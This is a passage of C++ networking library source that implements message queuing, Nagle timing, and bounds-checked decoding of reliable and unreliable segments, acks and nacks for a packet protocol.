k_cbSteamNetworkingSocketsMaxEncryptedPayloadSend ); m_senderState.m_n_x = int( k_nMillion * w_init / usecPing ); // Go ahead and clamp it now SNP_ClampSendRate(); } //----------------------------------------------------------------------------- void CSteamNetworkConnectionBase::SNP_ShutdownConnection() { m_senderState.Shutdown(); m_receiverState.Shutdown(); } //----------------------------------------------------------------------------- int64 CSteamNetworkConnectionBase::SNP_SendMessage( CSteamNetworkingMessage *pSendMessage, SteamNetworkingMicroseconds usecNow, bool *pbThinkImmediately ) { int cbData = (int)pSendMessage->m_cbSize; // Assume we won't want to wake up immediately if ( pbThinkImmediately ) *pbThinkImmediately = false; // Check if we're full if ( m_senderState.PendingBytesTotal() + cbData > m_connectionConfig.m_SendBufferSize.Get() ) { SpewWarningRateLimited( usecNow, "Connection already has %u bytes pending, cannot queue any more messages\n", m_senderState.PendingBytesTotal() ); pSendMessage->Release(); return -k_EResultLimitExceeded; } // Check if they try to send a really large message if ( cbData > k_cbMaxUnreliableMsgSize && !( pSendMessage->m_nFlags & k_nSteamNetworkingSend_Reliable ) ) { SpewWarningRateLimited( usecNow, "Trying to send a very large (%d bytes) unreliable message. Sending as reliable instead.\n", cbData ); pSendMessage->m_nFlags |= k_nSteamNetworkingSend_Reliable; } if ( pSendMessage->m_nFlags & k_nSteamNetworkingSend_NoDelay ) { // FIXME - need to check how much data is currently pending, and return // k_EResultIgnored if we think it's going to be a while before this // packet goes on the wire. } // First, accumulate tokens, and also limit to reasonable burst // if we weren't already waiting to send SNP_ClampSendRate(); SNP_TokenBucket_Accumulate( usecNow ); // Assign a message number pSendMessage->m_nMessageNumber = ++m_senderState.m_nLastSentMsgNum; // Reliable, or unreliable? if ( pSendMessage->m_nFlags & k_nSteamNetworkingSend_Reliable ) { pSendMessage->SNPSend_SetReliableStreamPos( m_senderState.m_nReliableStreamPos ); // Generate the header byte *hdr = pSendMessage->SNPSend_ReliableHeader(); hdr[0] = 0; byte *hdrEnd = hdr+1; int64 nMsgNumGap = pSendMessage->m_nMessageNumber - m_senderState.m_nLastSendMsgNumReliable; Assert( nMsgNumGap >= 1 ); if ( nMsgNumGap > 1 ) { hdrEnd = SerializeVarInt( hdrEnd, (uint64)nMsgNumGap ); hdr[0] |= 0x40; } if ( cbData < 0x20 ) { hdr[0] |= (byte)cbData; } else { hdr[0] |= (byte)( 0x20 | ( cbData & 0x1f ) ); hdrEnd = SerializeVarInt( hdrEnd, cbData>>5U ); } pSendMessage->m_cbSNPSendReliableHeader = hdrEnd - hdr; // Grow the total size of the message by the header pSendMessage->m_cbSize += pSendMessage->m_cbSNPSendReliableHeader; // Advance stream pointer m_senderState.m_nReliableStreamPos += pSendMessage->m_cbSize; // Update stats ++m_senderState.m_nMessagesSentReliable; m_senderState.m_cbPendingReliable += pSendMessage->m_cbSize; // Remember last sent reliable message number, so we can know how to // encode the next one m_senderState.m_nLastSendMsgNumReliable = pSendMessage->m_nMessageNumber; Assert( pSendMessage->SNPSend_IsReliable() ); } else { pSendMessage->SNPSend_SetReliableStreamPos( 0 ); pSendMessage->m_cbSNPSendReliableHeader = 0; ++m_senderState.m_nMessagesSentUnreliable; m_senderState.m_cbPendingUnreliable += pSendMessage->m_cbSize; Assert( !pSendMessage->SNPSend_IsReliable() ); } // Add to pending list m_senderState.m_messagesQueued.push_back( pSendMessage ); SpewVerboseGroup( m_connectionConfig.m_LogLevel_Message.Get(), "[%s] SendMessage %s: MsgNum=%lld sz=%d\n", GetDescription(), pSendMessage->SNPSend_IsReliable() ? "RELIABLE" : "UNRELIABLE", (long long)pSendMessage->m_nMessageNumber, pSendMessage->m_cbSize ); // Use Nagle? // We always set the Nagle timer, even if we immediately clear it. This makes our clearing code simpler, // since we can always safely assume that once we find a message with the nagle timer cleared, all messages // queued earlier than this also have it cleared. // FIXME - Don't think this works if the configuration value is changing. Since changing the // config value could violate the assumption that nagle times are increasing. Probably not worth // fixing. pSendMessage->SNPSend_SetUsecNagle( usecNow + m_connectionConfig.m_NagleTime.Get() ); if ( pSendMessage->m_nFlags & k_nSteamNetworkingSend_NoNagle ) m_senderState.ClearNagleTimers(); // Save the message number. The code below might end up deleting the message we just queued int64 result = pSendMessage->m_nMessageNumber; // Schedule wakeup at the appropriate time. (E.g. right now, if we're ready to send, // or at the Nagle time, if Nagle is active.) // // NOTE: Right now we might not actually be capable of sending end to end data. // But that case is relatievly rare, and nothing will break if we try to right now. // On the other hand, just asking the question involved a virtual function call, // and it will return success most of the time, so let's not make the check here. if ( GetState() == k_ESteamNetworkingConnectionState_Connected ) { SteamNetworkingMicroseconds usecNextThink = SNP_GetNextThinkTime( usecNow ); // Ready to send now? if ( usecNextThink > usecNow ) { // We are rate limiting. Spew about it? if ( m_senderState.m_messagesQueued.m_pFirst->SNPSend_UsecNagle() == 0 ) { SpewVerbose( "[%s] RATELIM QueueTime is %.1fms, SendRate=%.1fk, BytesQueued=%d\n", GetDescription(), m_senderState.CalcTimeUntilNextSend() * 1e-3, m_senderState.m_n_x * ( 1.0/1024.0), m_senderState.PendingBytesTotal() ); } // Set a wakeup call. EnsureMinThinkTime( usecNextThink ); } else { // We're ready to send right now. Check if we should! if ( pSendMessage->m_nFlags & k_nSteamNetworkingSend_UseCurrentThread ) { // We should send in this thread, before the API entry point // that the app used returns. Is the caller gonna handle this? if ( pbThinkImmediately ) { // Caller says they will handle it *pbThinkImmediately = true; } else { // Caller wants us to just do it here. CheckConnectionStateAndSetNextThinkTime( usecNow ); } } else { // Wake up the service thread ASAP to send this in the background thread SetNextThinkTimeASAP(); } } } return result; } EResult CSteamNetworkConnectionBase::SNP_FlushMessage( SteamNetworkingMicroseconds usecNow ) { // If we're not connected, then go ahead and mark the messages ready to send // once we connect, but otherwise don't take any action if ( GetState() != k_ESteamNetworkingConnectionState_Connected ) { m_senderState.ClearNagleTimers(); return k_EResultIgnored; } if ( m_senderState.m_messagesQueued.empty() ) return k_EResultOK; // If no Nagle timer was set, then there's nothing to do, we should already // be properly scheduled. Don't do work to re-discover that fact. if ( m_senderState.m_messagesQueued.m_pLast->SNPSend_UsecNagle() == 0 ) return k_EResultOK; // Accumulate tokens, and also limit to reasonable burst // if we weren't already waiting to send before this. // (Clearing the Nagle timers might very well make us want to // send so we want to do this first.) SNP_ClampSendRate(); SNP_TokenBucket_Accumulate( usecNow ); // Clear all Nagle timers m_senderState.ClearNagleTimers(); // Schedule wakeup at the appropriate time. (E.g. right now, if we're ready to send.) SteamNetworkingMicroseconds usecNextThink = SNP_GetNextThinkTime( usecNow ); EnsureMinThinkTime( usecNextThink ); return k_EResultOK; } bool CSteamNetworkConnectionBase::ProcessPlainTextDataChunk( int usecTimeSinceLast, RecvPacketContext_t &ctx ) { #define DECODE_ERROR( ... ) do { \ ConnectionState_ProblemDetectedLocally( k_ESteamNetConnectionEnd_Misc_InternalError, __VA_ARGS__ ); \ return false; } while(false) #define EXPECT_BYTES(n,pszWhatFor) \ do { \ if ( pDecode + (n) > pEnd ) \ DECODE_ERROR( "SNP decode overrun, %d bytes for %s", (n), pszWhatFor ); \ } while (false) #define READ_8BITU( var, pszWhatFor ) \ do { EXPECT_BYTES(1,pszWhatFor); var = *(uint8 *)pDecode; pDecode += 1; } while(false) #define READ_16BITU( var, pszWhatFor ) \ do { EXPECT_BYTES(2,pszWhatFor); var = LittleWord(*(uint16 *)pDecode); pDecode += 2; } while(false) #define READ_24BITU( var, pszWhatFor ) \ do { EXPECT_BYTES(3,pszWhatFor); \ var = *(uint8 *)pDecode; pDecode += 1; \ var |= uint32( LittleWord(*(uint16 *)pDecode) ) << 8U; pDecode += 2; \ } while(false) #define READ_32BITU( var, pszWhatFor ) \ do { EXPECT_BYTES(4,pszWhatFor); var = LittleDWord(*(uint32 *)pDecode); pDecode += 4; } while(false) #define READ_48BITU( var, pszWhatFor ) \ do { EXPECT_BYTES(6,pszWhatFor); \ var = LittleWord( *(uint16 *)pDecode ); pDecode += 2; \ var |= uint64( LittleDWord(*(uint32 *)pDecode) ) << 16U; pDecode += 4; \ } while(false) #define READ_64BITU( var, pszWhatFor ) \ do { EXPECT_BYTES(8,pszWhatFor); var = LittleQWord(*(uint64 *)pDecode); pDecode += 8; } while(false) #define READ_VARINT( var, pszWhatFor ) \ do { pDecode = DeserializeVarInt( pDecode, pEnd, var ); if ( !pDecode ) { DECODE_ERROR( "SNP data chunk decode overflow, varint for %s", pszWhatFor ); } } while(false) #define READ_SEGMENT_DATA_SIZE( is_reliable ) \ int cbSegmentSize; \ { \ int sizeFlags = nFrameType & 7; \ if ( sizeFlags <= 4 ) \ { \ uint8 lowerSizeBits; \ READ_8BITU( lowerSizeBits, #is_reliable " size lower bits" ); \ cbSegmentSize = (sizeFlags<<8) + lowerSizeBits; \ if ( pDecode + cbSegmentSize > pEnd ) \ { \ DECODE_ERROR( "SNP decode overrun %d bytes for %s segment data.", cbSegmentSize, #is_reliable ); \ } \ } \ else if ( sizeFlags == 7 ) \ { \ cbSegmentSize = pEnd - pDecode; \ } \ else \ { \ DECODE_ERROR( "Invalid SNP frame lead byte 0x%02x. (size bits)", nFrameType ); \ } \ } \ const uint8 *pSegmentData = pDecode; \ pDecode += cbSegmentSize; // Make sure we have initialized the connection Assert( BStateIsActive() ); const SteamNetworkingMicroseconds usecNow = ctx.m_usecNow; const int64 nPktNum = ctx.m_nPktNum; bool bInhibitMarkReceived = false; const int nLogLevelPacketDecode = m_connectionConfig.m_LogLevel_PacketDecode.Get(); SpewVerboseGroup( nLogLevelPacketDecode, "[%s] decode pkt %lld\n", GetDescription(), (long long)nPktNum ); // Decode frames until we get to the end of the payload const byte *pDecode = (const byte *)ctx.m_pPlainText; const byte *pEnd = pDecode + ctx.m_cbPlainText; int64 nCurMsgNum = 0; int64 nDecodeReliablePos = 0; while ( pDecode < pEnd ) { uint8 nFrameType = *pDecode; ++pDecode; if ( ( nFrameType & 0xc0 ) == 0x00 ) { // // Unreliable segment // // Decode message number if ( nCurMsgNum == 0 ) { // First unreliable frame. Message number is absolute, but only bottom N bits are sent static const char szUnreliableMsgNumOffset[] = "unreliable msgnum"; int64 nLowerBits, nMask; if ( nFrameType & 0x10 ) { READ_32BITU( nLowerBits, szUnreliableMsgNumOffset ); nMask = 0xffffffff; nCurMsgNum = NearestWithSameLowerBits( (int32)nLowerBits, m_receiverState.m_nHighestSeenMsgNum ); } else { READ_16BITU( nLowerBits, szUnreliableMsgNumOffset ); nMask = 0xffff; nCurMsgNum = NearestWithSameLowerBits( (int16)nLowerBits, m_receiverState.m_nHighestSeenMsgNum ); } Assert( ( nCurMsgNum & nMask ) == nLowerBits ); if ( nCurMsgNum <= 0 ) { DECODE_ERROR( "SNP decode unreliable msgnum underflow. %llx mod %llx, highest seen %llx", (unsigned long long)nLowerBits, (unsigned long long)( nMask+1 ), (unsigned long long)m_receiverState.m_nHighestSeenMsgNum ); } if ( std::abs( nCurMsgNum - m_receiverState.m_nHighestSeenMsgNum ) > (nMask>>2) ) { // We really should never get close to this boundary. SpewWarningRateLimited( usecNow, "Sender sent abs unreliable message number using %llx mod %llx, highest seen %llx\n", (unsigned long long)nLowerBits, (unsigned long long)( nMask+1 ), (unsigned long long)m_receiverState.m_nHighestSeenMsgNum ); } } else { if ( nFrameType & 0x10 ) { uint64 nMsgNumOffset; READ_VARINT( nMsgNumOffset, "unreliable msgnum offset" ); nCurMsgNum += nMsgNumOffset; } else { ++nCurMsgNum; } } if ( nCurMsgNum > m_receiverState.m_nHighestSeenMsgNum ) m_receiverState.m_nHighestSeenMsgNum = nCurMsgNum; // // Decode segment offset in message // uint32 nOffset = 0; if ( nFrameType & 0x08 ) READ_VARINT( nOffset, "unreliable data offset" ); // // Decode size, locate segment data // READ_SEGMENT_DATA_SIZE( unreliable ) Assert( cbSegmentSize > 0 ); // !TEST! Bogus assert, zero byte messages are OK. Remove after testing // Receive the segment bool bLastSegmentInMessage = ( nFrameType & 0x20 ) != 0; SNP_ReceiveUnreliableSegment( nCurMsgNum, nOffset, pSegmentData, cbSegmentSize, bLastSegmentInMessage, usecNow ); } else if ( ( nFrameType & 0xe0 ) == 0x40 ) { // // Reliable segment // // First reliable segment? if ( nDecodeReliablePos == 0 ) { // Stream position is absolute. How many bits? static const char szFirstReliableStreamPos[] = "first reliable streampos"; int64 nOffset, nMask; switch ( nFrameType & (3<<3) ) { case 0<<3: READ_24BITU( nOffset, szFirstReliableStreamPos ); nMask = (1ll<<24)-1; break; case 1<<3: READ_32BITU( nOffset, szFirstReliableStreamPos ); nMask = (1ll<<32)-1; break; case 2<<3: READ_48BITU( nOffset, szFirstReliableStreamPos ); nMask = (1ll<<48)-1; break; default: DECODE_ERROR( "Reserved reliable stream pos size" ); } // What do we expect to receive next? int64 nExpectNextStreamPos = m_receiverState.m_nReliableStreamPos + len( m_receiverState.m_bufReliableStream ); // Find the stream offset closest to that nDecodeReliablePos = ( nExpectNextStreamPos & ~nMask ) + nOffset; if ( nDecodeReliablePos + (nMask>>1) < nExpectNextStreamPos ) { nDecodeReliablePos += nMask+1; Assert( ( nDecodeReliablePos & nMask ) == nOffset ); Assert( nExpectNextStreamPos < nDecodeReliablePos ); Assert( nExpectNextStreamPos + (nMask>>1) >= nDecodeReliablePos ); } if ( nDecodeReliablePos <= 0 ) { DECODE_ERROR( "SNP decode first reliable stream pos underflow. %llx mod %llx, expected next %llx", (unsigned long long)nOffset, (unsigned long long)( nMask+1 ), (unsigned long long)nExpectNextStreamPos ); } if ( std::abs( nDecodeReliablePos - nExpectNextStreamPos ) > (nMask>>2) ) { // We really should never get close to this boundary. SpewWarningRateLimited( usecNow, "Sender sent reliable stream pos using %llx mod %llx, expected next %llx\n", (unsigned long long)nOffset, (unsigned long long)( nMask+1 ), (unsigned long long)nExpectNextStreamPos ); } } else { // Subsequent reliable message encode the position as an offset from previous. static const char szOtherReliableStreamPos[] = "reliable streampos offset"; int64 nOffset; switch ( nFrameType & (3<<3) ) { case 0<<3: nOffset = 0; break; case 1<<3: READ_8BITU( nOffset, szOtherReliableStreamPos ); break; case 2<<3: READ_16BITU( nOffset, szOtherReliableStreamPos ); break; default: READ_32BITU( nOffset, szOtherReliableStreamPos ); break; } nDecodeReliablePos += nOffset; } // // Decode size, locate segment data // READ_SEGMENT_DATA_SIZE( reliable ) // Ingest the segment. if ( !SNP_ReceiveReliableSegment( nPktNum, nDecodeReliablePos, pSegmentData, cbSegmentSize, usecNow ) ) { if ( !BStateIsActive() ) return false; // we decided to nuke the connection - abort packet processing // We're not able to ingest this reliable segment at the moment, // but we didn't terminate the connection. So do not ack this packet // to the peer. We need them to retransmit bInhibitMarkReceived = true; } // Advance pointer for the next reliable segment, if any. nDecodeReliablePos += cbSegmentSize; // Decoding rules state that if we have established a message number, // (from an earlier unreliable message), then we advance it. if ( nCurMsgNum > 0 ) ++nCurMsgNum; } else if ( ( nFrameType & 0xfc ) == 0x80 ) { // // Stop waiting // int64 nOffset = 0; static const char szStopWaitingOffset[] = "stop_waiting offset"; switch ( nFrameType & 3 ) { case 0: READ_8BITU( nOffset, szStopWaitingOffset ); break; case 1: READ_16BITU( nOffset, szStopWaitingOffset ); break; case 2: READ_24BITU( nOffset, szStopWaitingOffset ); break; case 3: READ_64BITU( nOffset, szStopWaitingOffset ); break; } if ( nOffset >= nPktNum ) { DECODE_ERROR( "stop_waiting pktNum %llu offset %llu", nPktNum, nOffset ); } ++nOffset; int64 nMinPktNumToSendAcks = nPktNum-nOffset; if ( nMinPktNumToSendAcks == m_receiverState.m_nMinPktNumToSendAcks ) continue; if ( nMinPktNumToSendAcks < m_receiverState.m_nMinPktNumToSendAcks ) { // Sender must never reduce this number! Check for bugs or bogus sender if ( nPktNum >= m_receiverState.m_nPktNumUpdatedMinPktNumToSendAcks ) { DECODE_ERROR( "SNP stop waiting reduced %lld (pkt %lld) -> %lld (pkt %lld)", (long long)m_receiverState.m_nMinPktNumToSendAcks, (long long)m_receiverState.m_nPktNumUpdatedMinPktNumToSendAcks, (long long)nMinPktNumToSendAcks, (long long)nPktNum ); } continue; } SpewDebugGroup( nLogLevelPacketDecode, "[%s] decode pkt %lld stop waiting: %lld (was %lld)", GetDescription(), (long long)nPktNum, (long long)nMinPktNumToSendAcks, (long long)m_receiverState.m_nMinPktNumToSendAcks ); m_receiverState.m_nMinPktNumToSendAcks = nMinPktNumToSendAcks; m_receiverState.m_nPktNumUpdatedMinPktNumToSendAcks = nPktNum; // Trim from the front of the packet gap list, // we can stop reporting these losses to the sender auto h = m_receiverState.m_mapPacketGaps.begin(); while ( h->first <= m_receiverState.m_nMinPktNumToSendAcks ) { if ( h->second.m_nEnd > m_receiverState.m_nMinPktNumToSendAcks ) { // Ug. You're not supposed to modify the key in a map. // I suppose that's legit, since you could violate the ordering. // but in this case I know that this change is OK. const_cast<int64 &>( h->first ) = m_receiverState.m_nMinPktNumToSendAcks; break; } // Were we pending an ack on this? if ( m_receiverState.m_itPendingAck == h ) ++m_receiverState.m_itPendingAck; // Were we pending a nack on this? if ( m_receiverState.m_itPendingNack == h ) { // I am not sure this is even possible. AssertMsg( false, "Expiring packet gap, which had pending NACK" ); // But just in case, this would be the proper action ++m_receiverState.m_itPendingNack; } // Packet loss is in the past. Forget about it and move on h = m_receiverState.m_mapPacketGaps.erase(h); } } else if ( ( nFrameType & 0xf0 ) == 0x90 ) { // // Ack // #if STEAMNETWORKINGSOCKETS_SNP_PARANOIA > 0 m_senderState.DebugCheckInFlightPacketMap(); #if STEAMNETWORKINGSOCKETS_SNP_PARANOIA == 1 if ( ( nPktNum & 255 ) == 0 ) // only do it periodically #endif { m_senderState.DebugCheckInFlightPacketMap(); } #endif // Parse latest received sequence number int64 nLatestRecvSeqNum; { static const char szAckLatestPktNum[] = "ack latest pktnum"; int64 nLowerBits, nMask; if ( nFrameType & 0x40 ) { READ_32BITU( nLowerBits, szAckLatestPktNum ); nMask = 0xffffffff; nLatestRecvSeqNum = NearestWithSameLowerBits( (int32)nLowerBits, m_statsEndToEnd.m_nNextSendSequenceNumber ); } else { READ_16BITU( nLowerBits, szAckLatestPktNum ); nMask = 0xffff; nLatestRecvSeqNum = NearestWithSameLowerBits( (int16)nLowerBits, m_statsEndToEnd.m_nNextSendSequenceNumber ); } Assert( ( nLatestRecvSeqNum & nMask ) == nLowerBits ); // Find the message number that is closes to if ( nLatestRecvSeqNum < 0 ) { DECODE_ERROR( "SNP decode ack latest pktnum underflow. %llx mod %llx, next send %llx", (unsigned long long)nLowerBits, (unsigned long long)( nMask+1 ), (unsigned long long)m_statsEndToEnd.m_nNextSendSequenceNumber ); } if ( std::abs( nLatestRecvSeqNum - m_statsEndToEnd.m_nNextSendSequenceNumber ) > (nMask>>2) ) { // We really should never get close to this boundary. SpewWarningRateLimited( usecNow, "Sender sent abs latest recv pkt number using %llx mod %llx, next send %llx\n", (unsigned long long)nLowerBits, (unsigned long long)( nMask+1 ), (unsigned long long)m_statsEndToEnd.m_nNextSendSequenceNumber ); } if ( nLatestRecvSeqNum >= m_statsEndToEnd.m_nNextSendSequenceNumber ) { DECODE_ERROR( "SNP decode ack latest pktnum %lld (%llx mod %llx), but next outoing packet is %lld (%llx).", (long long)nLatestRecvSeqNum, (unsigned long long)nLowerBits, (unsigned long long)( nMask+1 ), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber, (unsigned long long)m_statsEndToEnd.m_nNextSendSequenceNumber ); } } SpewDebugGroup( nLogLevelPacketDecode, "[%s] decode pkt %lld latest recv %lld\n", GetDescription(), (long long)nPktNum, (long long)nLatestRecvSeqNum ); // Locate our bookkeeping for this packet, or the latest one before it // Remember, we have a sentinel with a low, invalid packet number Assert( !m_senderState.m_mapInFlightPacketsByPktNum.empty() ); auto inFlightPkt = m_senderState.m_mapInFlightPacketsByPktNum.upper_bound( nLatestRecvSeqNum ); --inFlightPkt; Assert( inFlightPkt->first <= nLatestRecvSeqNum ); // Parse out delay, and process the ping { uint16 nPackedDelay; READ_16BITU( nPackedDelay, "ack delay" ); if ( nPackedDelay != 0xffff && inFlightPkt->first == nLatestRecvSeqNum && inFlightPkt->second.m_pTransport == ctx.m_pTransport ) { SteamNetworkingMicroseconds usecDelay = SteamNetworkingMicroseconds( nPackedDelay ) << k_nAckDelayPrecisionShift; SteamNetworkingMicroseconds usecElapsed = usecNow - inFlightPkt->second.m_usecWhenSent; Assert( usecElapsed >= 0 ); // Account for their reported delay, and calculate ping, in MS int msPing = ( usecElapsed - usecDelay ) / 1000; // Does this seem bogus? (We allow a small amount of slop.) // NOTE: A malicious sender could lie about this delay, tricking us // into thinking that the real network latency is low, they are just // delaying their replies. This actually matters, since the ping time // is an input into the rate calculation. So we might need to // occasionally send pings that require an immediately reply, and // if those ping times seem way out of whack with the ones where they are // allowed to send a delay, take action against them. if ( msPing < -1 || msPing > 2000 ) { // Either they are lying or some weird timer stuff is happening. // Either way, discard it. SpewMsgGroup( m_connectionConfig.m_LogLevel_AckRTT.Get(), "[%s] decode pkt %lld latest recv %lld delay %lluusec INVALID ping %lldusec\n", GetDescription(), (long long)nPktNum, (long long)nLatestRecvSeqNum, (unsigned long long)usecDelay, (long long)usecElapsed ); } else { // Clamp, if we have slop if ( msPing < 0 ) msPing = 0; ProcessSNPPing( msPing, ctx ); // Spew SpewVerboseGroup( m_connectionConfig.m_LogLevel_AckRTT.Get(), "[%s] decode pkt %lld latest recv %lld delay %.1fms elapsed %.1fms ping %dms\n", GetDescription(), (long long)nPktNum, (long long)nLatestRecvSeqNum, (float)(usecDelay * 1e-3 ), (float)(usecElapsed * 1e-3 ), msPing ); } } } // Parse number of blocks int nBlocks = nFrameType&7; if ( nBlocks == 7 ) READ_8BITU( nBlocks, "ack num blocks" ); // If they actually sent us any blocks, that means they are fragmented. // We should make sure and tell them to stop sending us these nacks // and move forward. if ( nBlocks > 0 ) { // Decrease flush delay the more blocks they send us. // FIXME - This is not an optimal way to do this. Forcing us to // ack everything is not what we want to do. Instead, we should // use a separate timer for when we need to flush out a stop_waiting // packet! SteamNetworkingMicroseconds usecDelay = 250*1000 / nBlocks; QueueFlushAllAcks( usecNow + usecDelay ); } // Process ack blocks, working backwards from the latest received sequence number. // Note that we have to parse all this stuff out, even if it's old news (packets older // than the stop_aiting value we sent), because we need to do that to get to the rest // of the packet. bool bAckedReliableRange = false; int64 nPktNumAckEnd = nLatestRecvSeqNum+1; while ( nBlocks >= 0 ) { // Parse out number of acks/nacks. // Have we parsed all the real blocks? int64 nPktNumAckBegin, nPktNumNackBegin; if ( nBlocks == 0 ) { // Implicit block. Everything earlier between the last // NACK and the stop_waiting value is implicitly acked! if ( nPktNumAckEnd <= m_senderState.m_nMinPktWaitingOnAck ) break; nPktNumAckBegin = m_senderState.m_nMinPktWaitingOnAck; nPktNumNackBegin = nPktNumAckBegin; SpewDebugGroup( nLogLevelPacketDecode, "[%s] decode pkt %lld ack last block ack begin %lld\n", GetDescription(), (long long)nPktNum, (long long)nPktNumAckBegin ); } else { uint8 nBlockHeader; READ_8BITU( nBlockHeader, "ack block header" ); // Ack count? int64 numAcks = ( nBlockHeader>> 4 ) & 7; if ( nBlockHeader & 0x80 ) { uint64 nUpperBits; READ_VARINT( nUpperBits, "ack count upper bits" ); if ( nUpperBits > 100000 ) DECODE_ERROR( "Ack count of %llu<<3 is crazy", (unsigned long long)nUpperBits ); numAcks |= nUpperBits<<3; } nPktNumAckBegin = nPktNumAckEnd - numAcks; if ( nPktNumAckBegin < 0 ) DECODE_ERROR( "Ack range underflow, end=%lld, num=%lld", (long long)nPktNumAckEnd, (long long)numAcks ); // Extended nack count? int64 numNacks = nBlockHeader & 7; if ( nBlockHeader & 0x08) { uint64 nUpperBits; READ_VARINT( nUpperBits, "nack count upper bits" ); if ( nUpperBits > 100000 ) DECODE_ERROR( "Nack count of %llu<<3 is crazy", nUpperBits ); numNacks |= nUpperBits<<3; } nPktNumNackBegin = nPktNumAckBegin - numNacks; if ( nPktNumNackBegin < 0 ) DECODE_ERROR( "Nack range underflow, end=%lld, num=%lld", (long long)nPktNumAckBegin, (long long)numAcks ); SpewDebugGroup( nLogLevelPacketDecode, "[%s] decode pkt %lld nack [%lld,%lld) ack [%lld,%lld)\n", GetDescription(), (long long)nPktNum, (long long)nPktNumNackBegin, (long long)( nPktNumNackBegin + numNacks ), (long long)nPktNumAckBegin, (long long)( nPktNumAckBegin + numAcks ) ); } // Process acks first. Assert( nPktNumAckBegin >= 0 ); while ( inFlightPkt->first >= nPktNumAckBegin ) { Assert( inFlightPkt->first < nPktNumAckEnd ); // Scan reliable segments, and see if any are marked for retry or are in flight for ( const SNPRange_t &relRange: inFlightPkt->second.m_vecReliableSegments ) { // If range is present, it should be in only one of these two tables. if ( m_senderState.m_listInFlightReliableRange.erase( relRange ) == 0 ) { if ( m_senderState.m_listReadyRetryReliableRange.erase( relRange ) > 0 ) { // When we put stuff into the reliable retry list, we mark it as pending again. // But now it's acked, so it's no longer pending, even though we didn't send it. m_senderState.m_cbPendingReliable -= int( relRange.length() ); Assert( m_senderState.m_cbPendingReliable >= 0 ); bAckedReliableRange = true; } } else { bAckedReliableRange = true; Assert( m_senderState.m_listReadyRetryReliableRange.count( relRange ) == 0 ); } } // Check if this was the next packet we were going to timeout, then advance // pointer. This guy didn't timeout. if ( inFlightPkt == m_senderState.m_itNextInFlightPacketToTimeout ) ++m_senderState.m_itNextInFlightPacketToTimeout; // No need to track this anymore, remove from our table inFlightPkt = m_senderState.m_mapInFlightPacketsByPktNum.erase( inFlightPkt ); --inFlightPkt; m_senderState.MaybeCheckInFlightPacketMap(); } // Ack of in-flight end-to-end stats? if ( nPktNumAckBegin <= m_statsEndToEnd.m_pktNumInFlight && m_statsEndToEnd.m_pktNumInFlight < nPktNumAckEnd ) m_statsEndToEnd.InFlightPktAck( usecNow ); // Process nacks. Assert( nPktNumNackBegin >= 0 ); while ( inFlightPkt->first >= nPktNumNackBegin ) { Assert( inFlightPkt->first < nPktNumAckEnd ); SNP_SenderProcessPacketNack( inFlightPkt->first, inFlightPkt->second, "NACK" ); // We'll keep the record on hand, though, in case an ACK comes in --inFlightPkt; } // Continue on to the the next older block nPktNumAckEnd = nPktNumNackBegin; --nBlocks; } // Should we check for discarding reliable messages we are keeping around in case // of retransmission, since we know now that they were delivered? if ( bAckedReliableRange ) { m_senderState.RemoveAckedReliableMessageFromUnackedList(); // Spew where we think the peer is decoding the reliable stream if ( nLogLevelPacketDecode >= k_ESteamNetworkingSocketsDebugOutputType_Debug ) { int64 nPeerReliablePos = m_senderState.m_nReliableStreamPos; if ( !m_senderState.m_listInFlightReliableRange.empty() ) nPeerReliablePos = std::min( nPeerReliablePos, m_senderState.m_listInFlightReliableRange.begin()->first.m_nBegin ); if ( !m_senderState.m_listReadyRetryReliableRange.empty() ) nPeerReliablePos = std::min( nPeerReliablePos, m_senderState.m_listReadyRetryReliableRange.begin()->first.m_nBegin ); SpewDebugGroup( nLogLevelPacketDecode, "[%s] decode pkt %lld peer reliable pos = %lld\n", GetDescription(), (long long)nPktNum, (long long)nPeerReliablePos ); } } // Check if any of this was new info, then advance our stop_waiting value. if ( nLatestRecvSeqNum > m_senderState.m_nMinPktWaitingOnAck ) { SpewVerboseGroup( nLogLevelPacketDecode, "[%s] updating min_waiting_on_ack %lld -> %lld\n", GetDescription(), (long long)m_senderState.m_nMinPktWaitingOnAck, (long long)nLatestRecvSeqNum ); m_senderState.m_nMinPktWaitingOnAck = nLatestRecvSeqNum; } } else { DECODE_ERROR( "Invalid SNP frame lead byte 0x%02x", nFrameType ); } } // Should we record that we received it? if ( bInhibitMarkReceived ) { // Something really odd. High packet loss / fragmentation. // Potentially the peer is being abusive and we need // to protect ourselves. // // Act as if the packet was dropped. This will cause the // peer's sender logic to interpret this as additional packet // loss and back off. That's a feature, not a bug. } else { // Update structures needed to populate our ACKs. // If we received reliable data now, then schedule an ack bool bScheduleAck = nDecodeReliablePos > 0; SNP_RecordReceivedPktNum( nPktNum, usecNow, bScheduleAck ); } // Track end-to-end flow. Even if we decided to tell our peer that // we did not receive this, we want our own stats to reflect // that we did. (And we want to be able to quickly reject a // packet with this same number.) // // Also, note that order of operations is important. This call must // happen after the SNP_RecordReceivedPktNum call above m_statsEndToEnd.TrackProcessSequencedPacket( nPktNum, usecNow, usecTimeSinceLast ); // Packet can be processed further return true; // Make sure these don't get used beyond where we intended them to get used #undef DECODE_ERROR #undef EXPECT_BYTES #undef READ_8BITU #undef READ_16BITU #undef READ_24BITU #undef READ_32BITU #undef READ_64BITU #undef READ_VARINT #undef READ_SEGMENT_DATA_SIZE } void CSteamNetworkConnectionBase::SNP_SenderProcessPacketNack( int64 nPktNum, SNPInFlightPacket_t &pkt, const char *pszDebug ) { // Did we already treat the packet as dropped (implicitly or explicitly)? if ( pkt.m_bNack ) return; // Mark as dropped pkt.m_bNack = true; // Is this in-flight stats we were expecting an ack for? if ( m_statsEndToEnd.m_pktNumInFlight == nPktNum ) m_statsEndToEnd.InFlightPktTimeout(); // Scan reliable segments for ( const SNPRange_t &relRange: pkt.m_vecReliableSegments ) { // Marked as in-flight? auto inFlightRange = m_senderState.m_listInFlightReliableRange.find( relRange ); if ( inFlightRange == m_senderState.m_listInFlightReliableRange.end() ) continue; SpewMsgGroup( m_connectionConfig.m_LogLevel_PacketDecode.Get(), "[%s] pkt %lld %s, queueing retry of reliable range [%lld,%lld)\n", GetDescription(), nPktNum, pszDebug, relRange.m_nBegin, relRange.m_nEnd ); // The ready-to-retry list counts towards the "pending" stat m_senderState.m_cbPendingReliable += int( relRange.length() ); // Move it to the ready for retry list! // if shouldn't already be there! Assert( m_senderState.m_listReadyRetryReliableRange.count( relRange ) == 0 ); m_senderState.m_listReadyRetryReliableRange[ inFlightRange->first ] = inFlightRange->second; 